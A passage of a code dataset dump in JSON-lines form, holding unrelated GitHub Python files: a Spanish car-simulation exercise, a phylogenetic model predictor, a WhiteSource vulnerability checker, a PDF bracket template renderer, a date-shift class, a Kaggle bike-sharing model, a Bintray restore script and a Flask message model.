______`\\_ \\------/ _/'______ /' | \n| `\\_~-_____\\ ~-________________-~ /_____-~_/' | \n`. ~-__________________________________-~ .' \n `. [_______/------|~~|------\\_______] .'\n `\\--___((____)(________\\/________)(____))___--/' \n |>>>>>>|| ||<<<<<<|\"\"\"\n return puerta\n if opc4 == \"cerrar\":\n puerta=\"\"\"\n \n ______--~~~~~~~~~~~~~~~~~~--______ \n ___ // _-~ ~-_ \\\\ ___ \n `\\__)\\/~ ~\\/(__/' \n _--`-___ ___-'--_ \n /~ `\\ ~~~~~~~~------------~~~~~~~~ /' ~\\ \n /| `\\ ________ /' |\\ \n| `\\ ______`\\_ \\------/ _/'______ /' | \n| `\\_~-_____\\ ~-________________-~ /_____-~_/' | \n`. ~-__________________________________-~ .' \n `. [_______/------|~~|------\\_______] .'\n `\\--___((____)(________\\/________)(____))___--/' \n |>>>>>>|| ||<<<<<<|\"\"\"\n return puerta\n#Bloque principal \ncolor=input(\"El color del coche es: \")\nmarca=input(\"La marca de coche es: \")\nmodelo=int(input(\"El modelo del coche es: \"))\ncombustible=input(\"Tipo de combustible del coche: \")\npuertas=int(input(\"Cuántas puertas tiene el coche: \"))\nmotor=\"apagado\"\nventanas=\"cerradas\"\nruedas=\"infladas\"\npuerta=\"\"\" ______--~~~~~~~~~~~~~~~~~~--______ \n ___ // _-~ ~-_ \\\\ ___ \n `\\__)\\/~ ~\\/(__/' \n _--`-___ ___-'--_ \n /~ `\\ ~~~~~~~~------------~~~~~~~~ /' ~\\ \n /| `\\ ________ /' |\\ \n| `\\ ______`\\_ \\------/ _/'______ /' | \n| `\\_~-_____\\ ~-________________-~ /_____-~_/' | \n`. ~-__________________________________-~ .' \n `. [_______/------|~~|------\\_______] .'\n `\\--___((____)(________\\/________)(____))___--/' \n |>>>>>>|| ||<<<<<<|\"\"\"\ncarro=Coche(color,marca,modelo,combustible,puertas,motor,ruedas,ventanas,puerta)\nopcion=0\nopc1=\"apagar\"\nopc2=\"inflar\"\nopc3=\"cerrar\"\nopc4=\"cerrar\"\nwhile opcion < 5 :\n print(\"1.Prender o apagar el motor\")\n print(\"2.Inflar o desinflar ruedas\")\n print(\"3.Abrir o cerrar ventanas\")\n print(\"4.Abrir o cerrar puertas\")\n print(\"5.Salir\")\n opcion=int(input(\"Seleccione la opción que desee: \"))\n if opcion==1:\n opc1=(input(\"Digite (encender/apagar): \"))\n carro=Motor()\n separador()\n print(\"El carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),ruedas,ventanas))\n print(puerta)\n separador()\n if opcion ==2:\n opc2=input(\"Digite(inflar/desinflar): \")\n carro=Ruedas()\n separador()\n print(\"El carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),carro.inflar_desinflar(opc2),ventanas,))\n print(puerta)\n separador()\n if opcion == 3:\n opc3=input(\"Digite(abrir/cerrar): \")\n carro=Ventanas()\n separador()\n print(\"Él carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),carro.inflar_desinflar(opc2),carro.abrir_cerrar_ventanas(opc3),))\n print(puerta)\n separador()\n if opcion == 4:\n opc4=input(\"Digita(abrir/cerrar): \")\n carro=Puertas()\n separador()\n print(\"El carro, es un {}, modelo {}, de color {}, tiene {} puertas, usa {}, el motor está {}, tiene las ruedas {}, y sus ventanas están {}.\".format(marca,modelo,color,puertas,combustible,carro.encendido_apagado(opc1),carro.inflar_desinflar(opc2),carro.abrir_cerrar_ventanas(opc3),))\n print(carro.abrir_cerrar_puertas(opc4))\n separador()","repo_name":"chonchekill/Parcial-final","sub_path":"Python/Parcial final/Ejercicio 9.py","file_name":"Ejercicio 9.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26925318555","text":"#!/usr/bin/env python3\n\n## Import libraries\n\nimport subprocess\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport sys\nimport argparse\nfrom numpy import argmax\nfrom keras.models import load_model\nfrom configparser import ConfigParser\n\n\n\n# Argparse arguments\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-sequence_type', type=str, choices=[\"DNA\",\"AA\"],\n help=\"Compulsory argument. Nucleotide or Amino acids data. Enter DNA for nucleotide sequences. Enter AA for amino acid sequences.\", required=True)\nparser.add_argument('-NN_name',type=str, help=\"Compulsory argument. Enter the name of the NN folder.\", required=True)\nparser.add_argument('-alignment_file',type=str, help=\"Compulsory argument. Enter the name of the multiplealignment file.\",required=True)\n\nargs = parser.parse_args()\n\nos.environ['MKL_NUM_THREADS'] = '10'\nos.environ['GOTO_NUM_THREADS'] = '10'\nos.environ['OMP_NUM_THREADS'] = '10'\nos.environ['openmp'] = 'True'\n\ntf.config.threading.set_inter_op_parallelism_threads(10)\ntf.config.threading.set_intra_op_parallelism_threads(10)\n\nconfig = ConfigParser()\nconfig_file = \"DeepNNPhylogeny.config\"\n\ndef is_quartet_counter_available():\n try:\n subprocess.check_output(['which', 'quartet-pattern-counter-v1.1'])\n return True\n except subprocess.CalledProcessError:\n return False\n\ndef check_read_config():\n first_check = os.getcwd() + \"/\" + config_file\n home_dir = os.path.expanduser(\"~\") + \"/\" \n second_check = home_dir + config_file\n third_check = home_dir + \"DeepNNPhylogeny-main/\" + config_file \n if os.path.isfile(first_check):\n print(\"The config file: \", first_check, \" was found!\")\n config.read(first_check)\n return config\n elif os.path.isfile(second_check):\n print(\"The config file: \", second_check, \" was found!\")\n config.read(second_check)\n return config\n elif os.path.isfile(third_check):\n print(\"The config file: \", third_check, \" was found!\")\n config.read(third_check)\n return config\n else: \n print(\"Configuration file was not found!\")\n sys.exit()\n\n\ndef search_for_the_NN(conf):\n if os.path.isdir(args.NN_name):\n model = load_model(args.NN_name)\n return model\n elif (os.path.isdir(args.NN_name) == False):\n NN_name = args.NN_name.replace(\"/\", \"\")\n config_NN = conf[\"NN-Search-Path\"]\n for i in range(0,13):\n pathway_to_NN = config_NN[i]\n pathway_to_NN = pathway_to_NN + NN_name\n if os.path.isdir(pathway_to_NN):\n model = load_model(pathway_to_NN)\n break\n return model\n else: \n print(\"Neural network model was not found!\")\n sys.exit()\n \n####################################\n# my main program starts here:\n####################################\n\nstr = args.alignment_file.replace(\".fas\",\"\")\nstr = str + '_' + args.NN_name + '_' + 'substitution_model.txt'\nstr = str.replace(\"/\", \"\")\n\nalignment_file = args.alignment_file\n\nf = open(str, \"w\")\n\n# load model\n\n# Check whether the config file exists \nconfig = check_read_config()\n\n# Check whether the NN exist and load model \nmodel = search_for_the_NN(config)\n\n# Check for the quartet-pattern-counter\n\nif is_quartet_counter_available():\n print(\"quartet-pattern-counter-v1.1 is available\")\nelse:\n print(\"quartet-pattern-counter-v1.1 is not available\")\n\n\nif args.sequence_type == 'DNA':\n# quartet_pattern(\"quartet-pattern-counter-v1.1\")\n if os.path.isfile(alignment_file):\n command = 'quartet-pattern-counter-v1.1 ' + alignment_file + \" \" + os.getcwd() + \"/out.npy\"\n path = os.getcwd() + \"/out.npy\"\n subprocess.run([command], shell=True)\n frequency_array = np.load(path)\n frequency_array = np.reshape(frequency_array,(1,-1))\n prediction = model.predict(frequency_array)\n print(\"The order of the models: JC, K2P, F81, HKY, GTR \")\n print('The softmax values of the models: ', prediction)\n x = argmax(prediction)\n y = x.item()\n if y == 0:\n print('JC')\n f.write('JC')\n elif y == 1:\n print('K2P')\n f.write('K2P')\n elif y == 2:\n print('F81')\n f.write('F81')\n elif y == 3:\n print('HKY')\n f.write('HKY')\n else:\n print('GTR')\n f.write('GTR')\n else:\n print(\"The multiplealignment file does not exist!\")\n print(\"Please try again.\")\n sys.exit()\nelif args.sequence_type == 'AA':\n if os.path.isfile(alignment_file):\n command = 'quartet-pattern-counter-v1.1 -p ' + alignment_file + \" \" + os.getcwd() + \"/out.npy\"\n path = os.getcwd() + \"/out.npy\"\n subprocess.run([command], shell=True)\n frequency_array = np.load(path)\n frequency_array = np.reshape(frequency_array, (1, -1))\n prediction = model.predict(frequency_array)\n print(\"The order of the models: JTT, LG, WAG, Dayhoff\")\n print('The softmax values of the models: ', prediction)\n x = argmax(prediction)\n y = x.item()\n if y == 0:\n print('JTT')\n f.write('JTT')\n elif y == 1:\n print('LG')\n f.write('LG')\n elif y == 2:\n print('WAG')\n f.write('WAG')\n else:\n print('DAY')\n f.write('DAY')\n else:\n print(\"The multiplealignment file does not exist!\")\n print(\"Please try again.\")\n sys.exit()\n\nos.remove(\"out.npy\")\nf.close()\n","repo_name":"cmayer/DeepNNPhylogeny","sub_path":"ModelPredictorLoaded.py","file_name":"ModelPredictorLoaded.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9386392123","text":"import requests\nimport json\nimport os\nimport boto3\n\nWS_REST_API_URL = 'https://saas.whitesourcesoftware.com/api'\nWS_API_KEY = os.getenv('WS_APIKEY')\nWS_PROJECT_TOKEN = os.getenv('WS_PROJECTTOKEN')\nWS_BLOCKING_VULNERABILITIES = \"critical,high\"\n\n\ndef get_excluded_libraries():\n dynamodb_client = boto3.resource('dynamodb')\n\n whitesource_exclusion_table = dynamodb_client.Table('whitesource-excluded-libraries')\n whitesource_exclusion_entries = whitesource_exclusion_table.scan()['Items']\n\n exclusions = set()\n for exclusion in whitesource_exclusion_entries:\n exclusions.add(exclusion['library'])\n\n return exclusions\n\n\ndef find_all_high_critical_vulnerabilities_to_resolve(excluded_libraries):\n ws_payload = {\n 'requestType': 'getProjectVulnerabilityReport',\n 'format': 'json',\n 'userKey': WS_API_KEY,\n 'projectToken': WS_PROJECT_TOKEN\n }\n headers = {'content-type': 'application/json'}\n ws_vulnerability_report_response = requests.request(\n 'post',\n WS_REST_API_URL,\n data=json.dumps(ws_payload),\n headers=headers)\n\n project_ws_vulnerabilities = ws_vulnerability_report_response.json()\n vulnerabilities_to_resolve = dict()\n for vulnerability in project_ws_vulnerabilities['vulnerabilities']:\n if vulnerability['severity'] in WS_BLOCKING_VULNERABILITIES:\n library_full_name = f\"{vulnerability['library']['artifactId']}-{vulnerability['library']['version']}.jar\"\n if library_full_name in excluded_libraries:\n print(f\"ⓘ Library {library_full_name} has vulnerabilities but is in exclusion list \")\n else:\n vulnerabilities_to_resolve[vulnerability['name']] = \\\n f\"{library_full_name} (Suggested fix: {vulnerability['topFix']['fixResolution']})\"\n return vulnerabilities_to_resolve\n\n\nwhitesource_exclusion_list = get_excluded_libraries()\nwhitesource_vulnerabilities_to_resolve = find_all_high_critical_vulnerabilities_to_resolve(whitesource_exclusion_list)\nif len(whitesource_vulnerabilities_to_resolve) != 0:\n print(f\"❌ Following {WS_BLOCKING_VULNERABILITIES} whitesource vulnerabilities should get resolved before release:\")\n for vulnerability_name in whitesource_vulnerabilities_to_resolve:\n print(f\"- {vulnerability_name}: {whitesource_vulnerabilities_to_resolve[vulnerability_name]}\")\n exit(1)\nelse:\n print(f\"No {WS_BLOCKING_VULNERABILITIES} whitesource vulnerabilities found! ✅\")\n","repo_name":"SolaceProducts/event-management-agent","sub_path":".github/workflows/release_scripts/whitesource_vulnurability_checker.py","file_name":"whitesource_vulnurability_checker.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"72116390759","text":"\nimport io\n# from functools import partial, wraps\nfrom importlib.resources import open_binary, open_text\nimport json\nimport warnings\n\nfrom reportlab.pdfgen.canvas import Canvas\n\nfrom PyPDF2 import PdfFileReader\n\nfrom curlybrackets.pdf import templates\nfrom curlybrackets.pdf.elements import (TextElement,\n NameListElement,\n ParagraphElement,\n ItemListElement,\n ImageElement)\nfrom curlybrackets.pdf.pages import Page\nfrom curlybrackets.pdf.fonts import DEFAULT_FONT, BASE_FONT\nfrom curlybrackets.pdf.utilities import (expand_kwargs,\n collapse_kwargs,\n ProgressionFormatter, \n NBSP, ENDA)\n\n\nclass Template:\n def __init__(self, template_file, format,\n bracket_size, page, elements, names, **kwargs):\n self.template_file = template_file\n self.format = format\n self.bracket_size = bracket_size\n self.page = Page(**page)\n\n self.names = [self.build_element('names', max_lines=bracket_size, **np)\n for np in names]\n self.elements = ['names']\n\n for e in elements:\n if e == 'names':\n continue\n element_props = kwargs.pop(e)\n if isinstance(element_props, dict):\n element = self.build_element(e, **element_props)\n else:\n element = [self.build_element(e, **ep)\n for ep in element_props]\n setattr(self, e, element)\n self.elements.append(e)\n\n self.meta = kwargs\n\n @staticmethod\n def build_element(element_name, **element_props):\n if element_name in ['names']:\n base_class = NameListElement\n element_defaults = {'fontname': DEFAULT_FONT, 'min_hscale': 60}\n elif element_name in ['event', 'label']:\n base_class = TextElement\n element_defaults = {'fontname': BASE_FONT, 'min_hscale': 90}\n elif element_name in ['pool', 'date', 'total']:\n base_class = TextElement\n element_defaults = {'fontname': BASE_FONT,\n 'alignment': 'center',\n 'min_hscale': 90}\n elif element_name in ['judge']:\n base_class = TextElement\n element_defaults = {'fontname': DEFAULT_FONT, 'min_hscale': 90}\n elif element_name in ['progressions']:\n # if element_props.get('type') == 'list':\n # base_class = ItemListElement\n # else:\n base_class = ParagraphElement\n element_defaults = {'fontname': BASE_FONT, 'valign': 'MIDDLE'}\n elif element_name in ['notes']:\n base_class = ItemListElement\n element_defaults = {'fontname': DEFAULT_FONT, 'bullet': ENDA}\n elif element_name in ['image']:\n base_class = ImageElement\n element_defaults = {}\n else:\n raise ValueError(f'Unrecognized element name: {element_name}')\n\n element_params = {**element_defaults, **element_props}\n return base_class(**element_params)\n\n def create(self):\n self.overlay_packet = io.BytesIO()\n self.canvas = Canvas(self.overlay_packet,\n pagesize=self.page.size,\n initialFontName=DEFAULT_FONT)\n\n def draw_names(self, names, **kwargs):\n for name_element in self.names:\n name_element.draw(self.canvas, names, **kwargs)\n\n def draw_progressions(self, progressions, format_string=None, **kwargs):\n if format_string is None:\n warnings.warn('Progressions skipped, must specify format_string')\n return\n for element in self.progressions:\n if element.type == 'rr':\n fmt_str = '{0:O} place advances to'.replace(' ', NBSP)\n fmt_str += ' ' + format_string\n prog_text = []\n for s in element.seeds:\n if s in progressions:\n text = ProgressionFormatter().format(fmt_str, s,\n **progressions[s])\n prog_text.append(text)\n prog_text = '
'.join(prog_text)\n else:\n if len(element.seeds) > 1:\n fmt_str = 'Players advance to'.replace(' ', NBSP)\n else:\n fmt_str = 'Player advances to'.replace(' ', NBSP)\n fmt_str += ' ' + format_string\n prog = collapse_kwargs([progressions[s] for s in element.seeds])\n prog_text = ProgressionFormatter().format(fmt_str, **prog)\n element.draw(self.canvas, prog_text, **kwargs)\n\n def draw_element(self, element_name, element_value, **kwargs):\n if not hasattr(self, element_name):\n raise AttributeError(f'Template does not have attribute: '\n f'{element_name}')\n if element_name == 'names':\n self.draw_names(element_value, **kwargs)\n elif element_name == 'progressions':\n if element_value:\n self.draw_progressions(element_value, **kwargs)\n else:\n element = getattr(self, element_name)\n element.draw(self.canvas, element_value, **kwargs)\n\n def draw_page(self, names, **kwargs):\n if not getattr(self, 'canvas', None):\n self.create()\n\n kwargs['names'] = names\n element_values = {e: kwargs.pop(e, None) for e in self.elements}\n element_props = {e: {} for e in self.elements}\n for k in kwargs:\n if k == 'format_string' and 'progressions' in self.elements:\n element_props['progressions']['format_string'] = kwargs[k]\n continue\n for e in self.elements:\n if k.startswith(e+'_'):\n p = k.replace(e+'_', '', 1)\n element_props[e][p] = kwargs[k]\n break\n\n for e in self.elements:\n self.draw_element(e, element_values[e], **element_props[e])\n\n def next_page(self):\n self.canvas.showPage()\n\n def save(self):\n self.canvas.save()\n self.overlay_packet.seek(0)\n\n def draw(self, names, **kwargs):\n if not getattr(self, 'canvas', None):\n self.create()\n if not isinstance(names[0], (tuple, list)):\n names = [names]\n var_kwargs = expand_kwargs(len(names), names=names, **kwargs)\n for vkwargs in var_kwargs:\n self.draw_page(**vkwargs)\n self.next_page()\n self.save()\n\n def merge_pages(self):\n template_packet = open_binary(templates, self.template_file)\n overlay = PdfFileReader(self.overlay_packet)\n for n in range(overlay.numPages):\n bracket = PdfFileReader(template_packet).getPage(0)\n bracket.mergePage(overlay.getPage(n))\n yield bracket\n\n\nclass TemplateLookup:\n key_field = 'template_file'\n sort_field = 'lookup_order'\n reserve_field = 'reserve_options'\n fields = [\n 'format',\n 'n_entrants',\n 'n_in_winnners',\n 'n_in_losers',\n 'n_advance',\n 'template_file',\n 'bracket_size',\n 'n_slots',\n 'lookup_order',\n 'legacy_code',\n 'paper_size',\n 'paper_orientation',\n 'source',\n 'elements'\n ]\n config = json.load(open_text(templates, 'config.json'))\n\n @classmethod\n def lookup(cls, key):\n for lkp in cls.config:\n if key == lkp[cls.key_field]:\n return lkp\n raise ValueError('No matching template found')\n\n @classmethod\n def get(cls, key):\n return Template(**cls.lookup(key))\n\n @classmethod\n def _search(cls, check_reserve=False, **params):\n best_key, best_sort = None, 1e8\n for conf in cls.config:\n lkp = conf\n if check_reserve:\n lkp = {**conf, **conf.get(cls.reserve_field, {})}\n if lkp[cls.sort_field] < best_sort:\n is_match = True\n for k in params:\n if isinstance(lkp.get(k), list):\n is_match &= (params[k] in lkp[k])\n elif lkp.get(k, -999) is not None:\n is_match &= (params[k] == lkp.get(k, -999))\n if not is_match:\n break\n if is_match:\n best_key = lkp[cls.key_field]\n best_sort = lkp[cls.sort_field]\n if best_key is None:\n raise ValueError('No matching template found')\n return best_key\n\n @classmethod\n def search(cls, format, n_advance=0, n_entrants=None,\n n_in_winners=None, n_in_losers=None, **params):\n valid_params = dict(format=format, n_advance=n_advance)\n if n_entrants:\n if n_in_winners or n_in_losers:\n warnings.warn('Field n_entrants supercedes fields'\n 'n_in_winners & n_in_losers')\n valid_params.update(n_entrants=n_entrants)\n elif n_in_winners and n_in_losers:\n valid_params.update(n_in_winners=n_in_winners,\n n_in_losers=n_in_losers)\n else:\n raise KeyError('Missing required lookup field(s), '\n 'Must specify either n_entrants '\n 'or both n_in_winners and n_in_losers')\n for k in params:\n if k in cls.fields:\n valid_params[k] = params[k]\n try:\n match = cls._search(**valid_params)\n except ValueError:\n match = cls._search(check_reserve=True, **valid_params)\n return match\n","repo_name":"margotphoenix/curly-brackets","sub_path":"curlybrackets/pdf/brackets.py","file_name":"brackets.py","file_ext":"py","file_size_in_byte":9969,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"25406598423","text":"from .date import Date\nfrom .holiday_cal import HolidayCalendar\n\nfrom dateutil.relativedelta import relativedelta, MO, WE, FR\n\nimport datetime\nimport re\n\n__all__ = [\"RDate\"]\n\nQUARTER_FIRST_MTH = [1, 1, 1, 4, 4, 4, 7, 7, 7, 10, 10, 10]\n\nSPLITTER = re.compile(\"([\\+,\\-]\\d*\\w+)\")\nOPERANDS = {\"+\", \"-\"}\n\n\n###############################################################################\nclass RDate(object):\n \"\"\"\n A date shift object that can be added to Dates to generate shifted dates.\n \"\"\"\n __slots__ = (\"date_rule\", \"calendar\")\n\n # -------------------------------------------------------------------------\n def __init__(self, date_rule, calendar=None):\n \"\"\"\n Inputs:\n date_rule - a string specifying relative shift (see below for valid\n date rules).\n calendar - a holiday calendar used to identify business days\n Rule definitions:\n d = add calendar day\n b = add business day\n w = add calendar week\n m = add calendar month\n y = add calendar year\n c = go to the required day in the month\n e = go to end of month (ignores num)\n J = go to first calendar day of month (ignores num)\n M = go to closest Monday as specified by num\n W = go to closest Wednesday as specified by num\n F = go to closest Friday as specified by num\n q = go to beginning of the quarter (ignores num)\n Q = go to end of the quarter (ignores num)\n A = go to beginning of the year (ignores num)\n E = go to end of the year (ignores num)\n \"\"\"\n # --- use parent class setattr because RDate is implemented as an\n # immutable class\n super().__setattr__(\"date_rule\", date_rule)\n super().__setattr__(\"calendar\", calendar or HolidayCalendar())\n\n # -------------------------------------------------------------------------\n def __setattr__(self, attr, value):\n raise AttributeError(\"attribute '{0:s}' of RDate is not settable \"\n \"as RDate is an immutable class\".format(attr))\n\n # -------------------------------------------------------------------------\n def apply_rule(self, d):\n # --- rule processing. If no operator is defined assume it's \"+\"\n if self.date_rule[0] in OPERANDS:\n atomic = SPLITTER.split(self.date_rule)[1::2]\n else:\n atomic = SPLITTER.split(\"+\" + self.date_rule)[1::2]\n\n # --- iteratively apply each atomic rule\n for rule in atomic:\n op = rule[0:-1]\n r = rule[-1]\n if op in OPERANDS:\n op += \"1\"\n # --- look for the proper rule to apply\n if r == \"d\":\n d += relativedelta(days=int(op))\n elif r == \"b\":\n nb = int(op[1:])\n op1 = int(op[0] + \"1\")\n if nb == 0 and self.calendar.is_holiday(d):\n # --- go to the next (or previous) business day only if\n # d is not already a business day\n nb = 1\n for i in range(nb):\n d += relativedelta(days=op1)\n while self.calendar.is_holiday(d):\n d += relativedelta(days=op1)\n elif r == \"w\":\n d += relativedelta(weeks=int(op))\n elif r == \"m\":\n d += relativedelta(months=int(op))\n elif r == \"y\":\n d += relativedelta(years=int(op))\n elif r == \"c\":\n d += relativedelta(day=int(op))\n elif r == \"e\":\n d += relativedelta(day=31)\n elif r == \"J\":\n d += relativedelta(day=1)\n elif r == \"M\":\n d += relativedelta(weekday=MO(int(op)))\n elif r == \"W\":\n d += relativedelta(weekday=WE(int(op)))\n elif r == \"F\":\n d += relativedelta(weekday=FR(int(op)))\n elif r == \"q\":\n d = d.replace(day=1, month=QUARTER_FIRST_MTH[d.month-1])\n elif r == \"Q\":\n d = d.replace(day=1, month=QUARTER_FIRST_MTH[d.month-1]+2)\n d += relativedelta(day=31)\n elif r == \"A\":\n d = d.replace(day=1, month=1)\n elif r == \"E\":\n d = d.replace(day=31, month=12)\n else:\n raise NameError(\"Atomic rule {0:s} is unknown. \"\n \"Full rule is {1:s}\".format(r, rule))\n\n # --- conversion to Date is needed here because applying a\n # relativedelta to a Date returns a datetime object\n return Date.parse(d)\n\n # -------------------------------------------------------------------------\n # relative date algebra\n def __radd__(self, date):\n # --- check against the supercalss datetime.datetime\n if not isinstance(date, (datetime.date, datetime.datetime)):\n raise ValueError(\"RDate can only be applied to a Date. \"\n \"{0!s} was passed instead\".format(date.__class__))\n return self.apply_rule(date)\n","repo_name":"CarlosDinart/PUC-SP","sub_path":"venv/Lib/site-packages/onyx/core/datatypes/rdate.py","file_name":"rdate.py","file_ext":"py","file_size_in_byte":5205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71426492520","text":"import os \nos.listdir('../input')\nimport pandas as pd\ndf = pd.read_csv('../input/train.csv', parse_dates=[0])\ndf.head()\ntest = pd.read_csv('../input/test.csv', parse_dates=[0])\ntest.head()\ndf_all = df.append(test, sort=False)\ndf_all['hour'] = df['datetime'].dt.hour\nimport numpy as np\ndf_all['count'] = np.log(df_all['count'] + 1)\ndf_all['registered'] = np.log(df_all['registered'] + 1)\ndf_all['casual'] = np.log(df_all['casual'] + 1)\ndf_all.shape, df.shape, test.shape\ndf_all.shape\nfrom fastai.imports import *\nfrom fastai.structured import *\nadd_datepart(df_all, 'datetime', drop=False)\ndf_all.info()\ndf = df_all[~df_all['count'].isnull()]\ntest = df_all[df_all['count'].isnull()]\ndf.shape, test.shape\ntrain = df[df['datetimeDay'] <= 15]\nvalid = df[df['datetimeDay'] > 15]\ntrain.shape, valid.shape\nfeats = [c for c in df.columns if c not in ['casual', 'registered', 'count']]\nfeats\nfeats = ['season',\n 'holiday',\n 'workingday',\n 'weather',\n 'temp',\n 'atemp',\n 'humidity',\n 'windspeed',\n 'datetimeDayofweek',\n 'hour',\n 'datetimeYear']\nfrom sklearn.ensemble import RandomForestRegressor\nrf = RandomForestRegressor(n_estimators=100)\nrf.fit(train[feats], train['count'])\nrf.predict(valid[feats])\nfrom sklearn.metrics import mean_squared_error\nmean_squared_error(valid['count'], rf.predict(valid[feats])) ** (1/2)\npd.Series(rf.feature_importances_, index=feats).sort_values().plot.barh()\ntest['count'] = (np.exp(rf.predict(test[feats])) - 1)\ntest[['datetime', 'count']].to_csv('submission.csv', index=False)\n\n\n\n\n\n\n\n\n","repo_name":"aorursy/new-nb-3","sub_path":"erickmuzart_machine-learning-brasilia-aula-11.py","file_name":"erickmuzart_machine-learning-brasilia-aula-11.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24335112175","text":"# -*- coding: utf-8 -*-\n\nPRODUCT_TEMPLATE_TABLE = 'product.template'\nPRODUCT_VARIANT_COUNT_FIELD = 'product_variant_count'\nPRODUCT_VARIANT_IDS_FIELD = 'product_variant_ids'\nPRODUCT_AMAZON_DESCRIPTION_FIELD = 'amazon_description'\nPRODUCT_PRODUCT_BRAND_FIELD = 'product_brand'\nPRODUCT_BULLET_POINT_PREFIX = 'amazon_bullet_point'\nPRODUCT_BULLET_POINT_COUNT = 5\nPRODUCT_IS_PRODUCT_VARIANT_FIELD = 'is_product_variant'\nPRODUCT_ATTRIBUTE_LINE_IDS_FIELD = 'attribute_line_ids'\nPRODUCT_AMAZON_DEPARTMENT_FIELD = 'amazon_department'\nPRODUCT_AMAZON_ITEM_TYPE_FIELD = 'amazon_item_type'\n","repo_name":"amdeb/amdeb-amazon","sub_path":"amdeb_amazon/model_names/product_template.py","file_name":"product_template.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"10532025632","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport json\nimport os\nfrom pathlib import Path\n\nimport requests\nfrom src.bintray_client import BintrayClient\nfrom src.bintray_client import get_sha1_hash\nfrom src.bintray_client import PROGRESS_BAR_FORMAT\nfrom progress.bar import IncrementalBar\n\n\ndef check_dirs_exist(repositories):\n for repository in repositories:\n path = Path(f\"{repository}\")\n if not path.exists():\n raise Exception(f\"{path} does not exist.\")\n\n\ndef get_local_files(repositories: list):\n package_metadata = []\n file_paths = []\n\n print(f\"Discovering local files\")\n for repo_name in repositories:\n for path in Path(repo_name).glob(\"**/*\"):\n if path.is_file():\n if path.name == \"package_metadata.json\":\n package_metadata.append(json.loads(path.read_text()))\n else:\n file_paths.append(path)\n\n return file_paths, package_metadata\n\n\ndef create_new_packages(\n bintray_client, local_package_metadata, bintray_package_metadata\n):\n created_packages = 0\n for package in IncrementalBar(\n f\"Creating packages\", suffix=PROGRESS_BAR_FORMAT\n ).iter(local_package_metadata):\n package_name = package[\"name\"]\n if not any(\n bintray_metadata[\"name\"] == package_name\n for bintray_metadata in bintray_package_metadata\n ):\n created_packages += 1\n bintray_client.create_package(package[\"repo\"], package)\n print(\n f\"created {created_packages} packages, skipped {len(local_package_metadata) - created_packages} packages that already existed\"\n )\n\n\ndef local_path(bintray_file):\n return f\"{bintray_file['repo']}/{bintray_file['package']}/{bintray_file['version']}/{bintray_file['path']}\"\n\n\ndef upload_changed_files(bintray_client, local_files, bintray_files):\n uploaded_files = 0\n for path in IncrementalBar(f\"Uploading files\", suffix=PROGRESS_BAR_FORMAT).iter(\n local_files\n ):\n if not any(\n str(path) == local_path(bintray_file)\n and get_sha1_hash(path) == bintray_file[\"sha1\"]\n for bintray_file in bintray_files\n ):\n uploaded_files += 1\n bintray_client.upload_file(path)\n print(\n f\"uploaded {uploaded_files} files, skipped {len(local_files) - uploaded_files} files that already existed\"\n )\n\n\ndef restore(username, token, organisation, repositories):\n check_dirs_exist(repositories)\n bintray_api_creds = requests.auth.HTTPBasicAuth(username, token)\n bintray_client = BintrayClient(organisation, api_creds=bintray_api_creds)\n\n local_files, local_package_metadata = get_local_files(repositories)\n bintray_files, bintray_package_metadata = bintray_client.get_metadata(repositories)\n\n create_new_packages(\n bintray_client, local_package_metadata, bintray_package_metadata\n )\n upload_changed_files(bintray_client, local_files, bintray_files)\n\n\nif __name__ == \"__main__\":\n username = os.environ[\"BINTRAY_USERNAME\"]\n token = os.environ[\"BINTRAY_TOKEN\"]\n organisation = os.environ[\"BINTRAY_ORGANISATION\"] # e.g. 'hmrc' or 'hmrc-digital'\n repositories = [\"releases\", \"sbt-plugin-releases\"]\n restore(username, token, organisation, repositories)\n","repo_name":"hmrc/bintray-backup-restore","sub_path":"src/bintray_restore.py","file_name":"bintray_restore.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18530143362","text":"from flask_app.config.mysqlconnection import connectToMySQL\n\nclass From_to:\n def __init__(self, data):\n self.id = data['id']\n self.first_name = data['first_name']\n self.last_name = data['last_name']\n self.email= data['email']\n self.message = data['message']\n self.message_id = data['message_id']\n\n @classmethod\n def get_all_user_messages(cls, data):\n query = \"SELECT * FROM login JOIN from_to ON login.id = from_id JOIN message ON message_id = message.id WHERE to_id = %(id)s;\"\n results = connectToMySQL(\"login\").query_db(query, data)\n \n from_to_list = []\n for row_from_db in results:\n from_to_data = {\n \"id\": row_from_db[\"id\"],\n \"first_name\": row_from_db['first_name'],\n \"last_name\": row_from_db['last_name'],\n \"email\": row_from_db['email'],\n \"message\": row_from_db[\"message\"],\n \"message_id\" : row_from_db['message.id']\n }\n from_to_list.append(cls(from_to_data))\n\n return from_to_list\n \n @classmethod\n def delete_message(cls, data):\n query = \"DELETE 